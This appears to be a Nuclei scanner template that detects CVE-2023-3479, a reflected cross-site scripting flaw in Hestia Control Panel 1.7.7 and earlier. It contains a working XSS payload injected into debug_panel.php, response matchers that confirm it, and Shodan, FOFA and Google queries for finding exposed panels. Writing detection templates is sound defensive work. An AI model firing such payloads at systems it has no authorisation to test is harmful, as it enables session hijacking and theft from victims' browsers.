id: CVE-2023-3479

info:
  name: Hestiacp <= 1.7.7 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Hestiacp (1.7.8 or higher) to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/6ac5cf87-6350-4645-8930-8f2876427723/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3479
    - https://github.com/hestiacp/hestiacp/commit/2326aa525a7ba14513af783f29cb5e62a476e67a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3479
    cwe-id: CWE-79
    epss-score: 0.23521
    epss-percentile: 0.96053
    cpe: cpe:2.3:a:hestiacp:control_panel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hestiacp
    product: control_panel
    shodan-query:
      - http.favicon.hash:-476299640
      - http.title:"hestia control panel"
    fofa-query:
      - title="hestia control panel"
      - icon_hash=-476299640
    google-query: intitle:"hestia control panel"
  tags: cve2023,cve,huntr,hestiacp,xss,intrusive,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - debug-panel
          - <script>alert(document.domain)</script>
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203901eff5d2be466b72b1d9e8195ca4b34d38f2e76dfd4781ade5dcb36747652c02204ad220cfaae3fbf2cde3b4b7a6b7b156553e6105038aacab8f00b550254f3c6a:922c64590222798bb761d5b6d8e72950